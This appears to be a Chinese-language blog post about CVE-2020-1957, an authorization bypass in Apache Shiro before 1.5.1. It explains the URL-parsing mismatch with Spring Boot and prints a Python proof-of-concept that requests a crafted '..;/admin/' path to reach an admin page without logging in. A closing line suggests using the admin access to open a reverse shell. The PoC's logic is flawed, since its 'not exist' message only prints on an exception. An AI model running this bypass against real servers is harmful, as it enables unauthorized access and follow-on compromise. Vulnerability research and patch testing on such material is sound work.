CVE-2020-1957 Apache Shiro 越权漏洞

CVE-2020-1957 Apache Shiro 越权漏洞

1.描述

  • Apache Shiro < 1.5.1
  • 一个越权漏洞

2.原理

  • 利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问

3.POC

  • poc.py
    • import requests

      url = “http://192.168.76.138:8080/xxx/..;/admin/”
      res = requests.get(url)
      try:
         poc = “Account Info Page for:” in str(res.text)
         if poc:
             print(“CVE-2020-1957 is exist!”)
      except:
         print(“CVE-2020-1957 is not exist!”)

4.EXP

  • 利用网站管理员的权限对服务器进行反弹shell

Comments

No comments yet. Why don’t you start the discussion?

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

证明你是人: 10   +   1   =